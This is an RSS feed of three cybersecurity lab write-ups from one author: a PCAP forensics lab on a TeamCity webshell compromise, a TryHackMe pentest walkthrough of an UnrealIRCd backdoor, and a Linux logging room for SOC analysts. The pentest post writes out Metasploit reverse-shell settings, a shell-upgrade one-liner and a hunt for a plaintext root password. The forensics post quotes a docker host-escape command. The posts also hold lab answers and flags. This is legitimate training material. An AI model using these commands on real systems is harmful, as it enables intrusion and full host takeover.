<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mo&#39;men Ehab on Medium]]></title>
        <description><![CDATA[Stories by Mo&#39;men Ehab on Medium]]></description>
        <link>https://medium.com/@moamenpop555?source=rss-b367cb139e2a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*xCDMxOF8VhxLAFNl</url>
            <title>Stories by Mo&amp;#39;men Ehab on Medium</title>
            <link>https://medium.com/@moamenpop555?source=rss-b367cb139e2a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 23:11:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@moamenpop555/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[JetBrains Lab — CyberDefenders]]></title>
            <link>https://medium.com/@moamenpop555/jetbrains-lab-cyberdefenders-342be888f4ad?source=rss-b367cb139e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/342be888f4ad</guid>
            <dc:creator><![CDATA[Mo'men Ehab]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 17:55:20 GMT</pubDate>
            <atom:updated>2026-10-01T17:55:20.228Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*je_nHfII5kO6NM4x" /></figure><p>In this lab, all we need to do is to learn how to analyze network traffic using Wireshark to identify web server exploitation, extract attacker IOCs and persistence mechanisms, and map attack techniques to MITRE ATT&amp;CK.</p><p>So Let’s get started, shall we?</p><p>Alright! Our scenario says “During a recent security incident, an attacker successfully exploited a vulnerability in our web server, allowing them to upload webshells and gain full control over the system. The attacker utilized the compromised web server as a launch point for further malicious activities, including data manipulation.</p><p>As part of the investigation, You are provided with a packet capture (PCAP) of the network traffic during the attack to piece together the attack timeline and identify the methods used by the attacker. The goal is to determine the initial entry point, the attacker’s tools and techniques, and the compromise’s extent.”</p><p>first, we need to know what is the web shell, a web shell is a malicious script (usually PHP, ASP, JSP, or Python) placed on a web server that gives attackers remote access and control through a regular web browser. So the attacker needs to find a way to upload that file, and that way is…… yes! indeed! A vulnerability.</p><p>so once we open the Capture.pcap file, the first thing that we need to identify is the ip of the Attacker, so the first thing we’re going to do is to filter http post and to look for frames that contain uploading files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*438ZrGEsBOHkhi4gIIhbxw.png" /></figure><p>so to answer the first question</p><h4>Q1:Identifying the attacker’s IP address helps trace the source and stop further attacks. What is the attacker’s IP address?</h4><p><strong>ANS: 23.158.56.196</strong></p><p>now we need to know the version of the service running on the web server</p><p>same way, we’re just going to remove “upload’ and replace it with “ server version ”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*28sSIS7a3M5vv0p4PJjSBQ.png" /></figure><p>so as we can see it’s right here!</p><h4>Q2: To identify potential vulnerability exploitation, what version of our web server service is running?</h4><p><strong>ANS: 2023.11.3</strong></p><h4>Q3: After identifying the version of our web server service, what CVE number corresponds to the vulnerability the attacker exploited?</h4><p>to answer this question we need to do a little research so after googling it using the name “JetBrains”, I found out that <strong>ANS: CVE-2024–27198</strong></p><h4>Q4: What credentials did the attacker successfully use for Basic Auth against the TeamCity server? Answer in the format username:password, colon separator, no spaces around the colon; the password is case-sensitive.</h4><p>to get these credentials easily, all we have to do is to filter the attacker’s ip, http request and finally the frame that contains “password” ( or username, same result)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*_wLGPCc-ILfAoxqOiC5Rvg.png" /></figure><p><strong>ANS: c91oyemw:CL5vzdwLuK</strong></p><h4>Q5: The attacker uploaded a webshell to ensure his access to the system. What is the name of the file that the attacker uploaded?</h4><p>we’re gonna be looking for uploading process and that means we need to look for a POST http made by the ip 23.158.56.196</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CkFIsPh4OBxXxvP26jBtyg.png" /></figure><p><strong>ANS: NSt8bHTg.zip</strong></p><h4>Q6: When did the attacker execute their first command via the web shell?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*VC9nM9EeY-ZIh8l32NvaKQ.png" /></figure><p><strong>ANS: 2024–06–30 08:03</strong></p><h4>Q7: The attacker tampered with a text file that contained the credentials of the admin user of the webserver. What new username and password did the attacker write in the file?</h4><blockquote>Answer in the format <em>username:password</em> , colon-separated, no spaces, no username: / password: labels.</blockquote><p>first we’re gonna use this filter to find only packets that contain cmd commands and username and password credentials that made by the attacker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXU3jVYZyoPuUWAsbQNn1w.png" /></figure><p>and then we can simply scroll down and we will find the new credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*Gyxbl3JZTL9BMJBuW1HUHg.png" /></figure><p>ANS: a1l4m:youarecompromised</p><h4>Q8: showed the attacker writing false credentials into Creds.txt. Which MITRE ATT&amp;CK sub-technique (Data Manipulation family) describes that specific file-write actionth?</h4><p>Based on the context of the attacker’s file tampering activity, the relevant MITRE ATT&amp;CK sub-technique under the Data Manipulation category is T1565.001 — Data Manipulation: Stored Data.</p><p><strong>ANS: T1565.001</strong></p><h4>Q9: Immediately after gaining a shell, the attacker executed a docker command that mounted the host filesystem and chrooted into it — providing full host access. What was that exact command? (Do NOT include the cmd= prefix seen in the HTTP body.)</h4><p>this is a pretty easy one, simply we can filter “cmd” and “docker”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OggRwnCCNRUG0dm3LdeooA.png" /></figure><p><strong>ANS: docker run — rm -it -v /:/host ubuntu chroot /host</strong></p><p>and finally, ladies and gentlemen, WE DID IT!</p><p>thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=342be888f4ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guided Pentest: Infrastructure — THM Walkthrough]]></title>
            <link>https://medium.com/@moamenpop555/guided-pentest-infrastructure-thm-walkthrough-4f4fd101fa85?source=rss-b367cb139e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f4fd101fa85</guid>
            <dc:creator><![CDATA[Mo'men Ehab]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 14:32:50 GMT</pubDate>
            <atom:updated>2026-09-01T14:32:50.074Z</atom:updated>
            <content:encoded><![CDATA[<h4>Learning Objectives</h4><p>By completing this room, I learned how to:</p><ul><li>Use various tools and techniques to enumerate and scan a Linux host.</li><li>Research vulnerable software and identify a working exploit.</li><li>Enumerate local Linux files to identify potential privilege escalation opportunities.</li><li>Gain an initial foothold on a vulnerable Linux system.</li><li>Escalate privileges from a low-privileged user to root.</li><li>Document security findings in a professional penetration testing report.</li></ul><h3>Task 2: Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*Eyl9wik5PhygVsJX.png" /></figure><h4>Scanning with Nmap</h4><p>The first step was to enumerate the target machine and identify the services and versions running on its open ports.</p><p>I used Nmap with service-version detection and default NSE scripts:</p><pre>nmap -sV -sC -oN scan.txt 10.49.151.112</pre><h4>Nmap Options</h4><ul><li>-sV — Detects the versions of services running on the open ports.</li><li>-sC — Runs Nmap&#39;s default NSE scripts to gather additional information, such as service banners and authentication details.</li><li>-oN scan.txt — Saves the scan results to a text file for later analysis and reporting.</li></ul><p>The scan identified two open ports on the target machine.</p><h3>Question</h3><p><strong>What port other than 22 is open on the target host?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*o6Ll-39foTdofh5H.png" /></figure><p><strong>Answer: </strong><strong>6667</strong></p><p>The service running on port 6667 was identified as <strong>UnrealIRCd</strong>.</p><h3>Task 3: Vulnerability Analysis</h3><p>After identifying the services and their versions, the next step was to determine whether any known vulnerabilities or public exploits were available.</p><p>One approach is to search online for the service version together with keywords such as exploit. However, a more efficient method when using Kali Linux is <strong>SearchSploit</strong>.</p><p>SearchSploit allows us to search Exploit-DB’s local database for publicly available exploits.</p><p>I searched for UnrealIRCd exploits using:</p><pre>searchsploit unrealircd</pre><p>The search results revealed a known exploit targeting a backdoor in a vulnerable version of UnrealIRCd.</p><h3>Question</h3><p><strong>Use SearchSploit to find an exploit for the target UnrealIRCd version. What is the path value for the Remote Downloader/Execute script?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*E3eLFuBlZTNknYqc.png" /></figure><p><strong>Answer:</strong></p><pre>linux/remote/13853.pl</pre><p>This indicated that a publicly available remote exploit could potentially be used against the target.</p><h3>Task 4: Initial Access</h3><h4>Gaining a Foothold</h4><p>The vulnerability identified in the previous task was a backdoor present in the vulnerable UnrealIRCd installation.</p><p>To exploit the vulnerability, I searched for the corresponding exploit in Metasploit:</p><pre>search unrealircd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*FblrViv7PR6uL_Kr.png" /></figure><p>I selected the appropriate exploit module and inspected its configuration requirements using:</p><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*bEPf8Dh0KHEo2e6u.png" /></figure><p>The target IP address was then configured:</p><pre>set RHOSTS 10.49.138.137</pre><p>Next, I checked the available payloads:</p><pre>show payloads</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*rCRSCKrNdZFXp8cQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UchQ7cjYvcoW9wPA.png" /></figure><p>Because there was limited information about the target system and its installed software, I selected a generic Unix reverse-shell payload:</p><pre>set payload cmd/unix/reverse</pre><p>I then configured the local host and listening port:</p><pre>set LHOST 192.168.182.236<br>set LPORT 443</pre><p>After verifying the configuration, I launched the exploit:</p><pre>exploit</pre><p>The exploit successfully provided a reverse shell on the target machine.</p><h4>Stabilizing the Shell</h4><p>The initial reverse shell was a basic shell without full terminal functionality. To obtain a more stable interactive shell, I used Python to spawn a pseudo-terminal:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>This provided a more functional Bash shell for further enumeration and exploitation.</p><h4>User-Level Flag</h4><p>After gaining access to the target as a low-privileged user, I searched the user’s home directory for the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0aLT0Fo_F_kt0Duo.png" /></figure><p>The flag was located at:</p><pre>/home/webmaster/flag.txt</pre><p>I retrieved it using:</p><pre>cat /home/webmaster/flag.txt</pre><h4>User Flag:</h4><pre>THM{Pwned-Y0ur-First-Machine}</pre><h3>Task 5: Post-Exploitation</h3><h4>Privilege Escalation</h4><p>After obtaining a low-privileged shell, the next objective was to identify potential methods for escalating privileges to root.</p><p>One useful approach is to search the filesystem for files with interesting names, such as files containing passwords or credentials.</p><p>I searched for files whose names started with password:</p><pre>find / -name password\* 2&gt;/dev/null</pre><p>The search revealed a potentially sensitive file:</p><pre>/etc/password.txt</pre><p>The file contained credentials that could be used to obtain root access.</p><p>After retrieving the password, I used the discovered credentials to authenticate as the root user.</p><p>This resulted in successful privilege escalation and full compromise of the target machine.</p><h4>Root Flag</h4><p>The root flag was located at:</p><pre>/root/flag.txt</pre><p>I retrieved it using:</p><pre>cat /root/flag.txt</pre><h4>Root Flag:</h4><pre>THM{Escalat1on-D0ne}</pre><h3>Task 6: Reporting</h3><p>For the final part, I documented the vulnerabilities I found and how they were exploited. A good penetration testing report should include a cover page, an executive summary, a technical summary, a list of vulnerabilities, and the exploitation details.</p><h4>Finding: Root Password Stored in Plaintext</h4><p><strong>Severity: Critical</strong></p><p>I found the root password stored in plaintext in:</p><pre>/etc/password.txt</pre><p>Since the file was accessible from my low-privileged shell, I was able to read the password and use it to gain root access.</p><p>I found the file with:</p><pre>find / -name password\* 2&gt;/dev/null</pre><p>Then I read it using:</p><pre>cat /etc/password.txt</pre><p>After getting the password, I used it to log in as root and access /root/flag.txt.</p><h4>Impact</h4><p>Storing the root password in plaintext makes it possible for a low-privileged user to completely compromise the machine.</p><h4>Recommendation</h4><p>The password should not be stored in plaintext. The exposed password should also be changed, and proper file permissions should be applied to prevent unauthorized users from accessing sensitive files.</p><h4>Final Flags</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-2l49kh9s6GoG6m0.png" /></figure><p><strong>User Flag:</strong> THM{Pwned-Y0ur-First-Machine}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/0*Ntozek787iHYK5SK.png" /></figure><p><strong>Root Flag:</strong> THM{Escalat1on-D0ne}</p><h4>Question</h4><p><strong>Which report section is aimed at engineering managers?</strong></p><p><strong>Answer:</strong> Technical Summary</p><p>Done 👌</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f4fd101fa85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Logging for SOC — THM]]></title>
            <link>https://medium.com/@moamenpop555/linux-logging-for-soc-thm-7b27edbc6681?source=rss-b367cb139e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b27edbc6681</guid>
            <dc:creator><![CDATA[Mo'men Ehab]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 19:05:38 GMT</pubDate>
            <atom:updated>2026-08-26T06:33:34.195Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction — Task 1</h3><p>Linux has long been a leader in servers and embedded systems, and now its use is even more widespread with the growth of cloud adoption. As a SOC analyst, you are now very likely to investigate Linux alerts and incidents, either from traditional on-premises servers or from cloud-native containerized workloads. In this room, you will explore the most common Linux logs sent to SIEM and learn how to view them directly on-host.</p><p>in this room we’re going to explore authentication, runtime, system logs, in addition to learning commands and pitfalls when working with logs, discovering new tools.</p><p>in the beginning we’re going to launch our lab machine and then we’re going to get into task 2 right away.</p><h3>Working With Text Logs — Task 2</h3><h4>Log Format</h4><p>Linux is a very secure operating system, however, it’s not immune to malware, so as a SOC analyst, you’ll often need to investigate Linux alerts.</p><h4>Working With Logs</h4><p>There’s a huge difference between Windows and Linux when it comes to logging events because Linux logs most events into plain text files, and that means that you can simply read it using any text editor without using any specialized tools such as Event Viewer.</p><p>Most Linux logs are stored at <strong>/var/log </strong>, so let’s start by checking the <strong>/var/log/syslog </strong>which is a file that contain a stream of various events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*ZXpP0lu1Wm79U1a8bRvq8g.png" /></figure><p>you’ll notice that I used a command called “<strong>head</strong>” which brings the first couple of lines of any file.</p><h4>Filtering Logs</h4><p>You’ll see hundreds or even thousands of events, however, only a few are useful for SOC. We filter the content to narrow down our search as much as possible to see only what we’re looking for.</p><p>Using the command grep, which is used to catch a specific content from any file, we can get the specific lines that we’re looking for, but this command is a case sensitive, so adding -i would help a lot by ignoring the cases.</p><p>for example, let’s grep “cron”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*6NrTugSt397dCGiEBevvVA.png" /></figure><p><strong>Q1</strong>: <strong>Use the /var/log/syslog file on the VM to answer the questions.<br>Which time server domain did the VM contact to sync its time?</strong></p><p>To get the time server domain, we should grep the word “<strong>ntp</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dpD7wnAL-z0ki3SorEekPw.png" /></figure><p><strong>ANS: ntp.ubuntu.com</strong></p><p>Q2: What is the kernel message from Yama in <strong>/var/log/syslog</strong>?</p><p>To get the message, we simply grep the word “Yama”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*plYGD6FUGaQj-nSMriYRHQ.png" /></figure><p><strong>ANS: Becoming mindful.</strong></p><h3>Authentication Logs — Task 3</h3><h4>Authentication Logs</h4><p>The most useful log file that you want to monitor /var/log/auth.log(and for Red hat Linux based systems, the most useful one is /var/log/secure)</p><h4>Login and Logout Events</h4><p>There are many ways users authenticate into a Linux machine: locally, via SSH, using “sudo” or “su” commands, or automatically to run a cron job. Each successful logon and logoff is logged, and you can see them by filtering the events containing the “session opened” or “session closed” keywords.</p><p>In addition to the system logs, the SSH daemon stores its own log of successful and failed SSH logins. These logs are sent to the same auth.log file, but have a slightly different format. Let’s see the example of two failed and one successful SSH logins.</p><h4>Miscellaneous Events</h4><p>You can also use the same log file to detect user management events. This is easy if you know basic Linux commands: If useradd is a command to add new users, just look for a “useradd” keyword to see user creation events! Below is an example of what you can see in the logs: password change, user deletion, and then privileged user creation.</p><p>Lastly, depending on system configuration and installed packages, you may encounter interesting or unexpected events. For example, you may find commands launched with sudo, which can help track malicious actions. In the example below, the “<strong>ubuntu</strong>” user used <strong>sudo</strong> to stop EDR, read firewall state, and finally access root via “<strong>sudo su</strong>”.</p><p>Q1:Continue with the VM and use the <strong>/var/log/auth.log</strong> file.<br>Which IP address failed to log in on multiple users via SSH?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eC-R01smq7qD5mE53KaYnA.png" /></figure><p><strong>ANS: 10.14.94.82</strong></p><p>Q2:Which user was created and added to the “sudo” group?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*svahOUgIzGXycdaPL1zFtA.png" /></figure><p><strong>ANS: xerxes</strong></p><h4>Common Linux Logs — Task 4</h4><p>Q1:According to the VM’s package manager logs,<br>which version of <strong>unzip</strong> was installed on the system?</p><p>this time we add -r to search the whole directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufznM9ibPRkf7QeIW5MMsA.png" /></figure><p><strong>ANS: 6.0–28ubuntu4.1</strong></p><p>Q2:What is the flag you see in one of the users’ bash history?</p><p>this is a tricky one, we can directly grep the THM flag by its name but this time we need to use “<strong>sudo”</strong> because we need to borrow the power of the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*OQCk5P8ABuf6yfSTxT01Nw.png" /></figure><p>ANS: <strong>THM{note_to_remember}</strong></p><h4>Runtime Monitoring — Task 5</h4><p>By default, Linux does not reliably log <strong>runtime events</strong>, such as which programs were executed, who deleted a file, or when a file was modified. To monitor these activities, we can use additional tools such as <strong>auditd</strong>. Linux relies on <strong>system calls</strong> whenever a program requests a service from the operating system, such as opening a file, creating a process, or executing a program using execve. There are more than 300 system calls in Linux, and modern <strong>EDR and logging tools</strong> monitor important system calls to record system activity in a human-readable format. Since system calls are essential for interacting with the OS, monitoring them provides an effective way for defenders to detect and investigate malicious activity.</p><p>Q1:Which Linux system call is commonly used to execute a program?</p><p><strong>ANS: execve</strong></p><p>Q2: Can a typical program open a file or create a process bypassing system calls? (Yea/Nay)</p><p><strong>ANS: Nay</strong></p><h4>Using Audit — Task 6</h4><p><strong>Audit</strong> provides deep, tamper-resistant records of system activity. It will log file accesses, process executions, and command arguments.</p><p>Q1:When was the <strong>secret.thm</strong> file opened for the first time? (MM/DD/YY HH:MM:SS)<br><strong>Note:</strong> Access to this file is logged with the “file_thmsecret” key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QwQesCi-UpyiaryY4gY4Mw.png" /></figure><p><strong>ANS: 08/13/25 18:36:54</strong></p><p>Q2: What is the original file name downloaded from GitHub via wget?<br><strong>Note:</strong> Wget process creation is logged with the “proc_wget” key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N47dSUeXMO7y270WpnpoFA.png" /></figure><p><strong>ANS: naabu_2.3.5_linux_amd64.zip</strong></p><p>Q3:Which network range was scanned using the downloaded tool?<br><strong>Note:</strong> There is no dedicated key for this event, but it’s still in auditd logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hrklHGsjzM4F5UggwhpOOQ.png" /></figure><p><strong>ANS: 192.168.50.0/24</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b27edbc6681" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>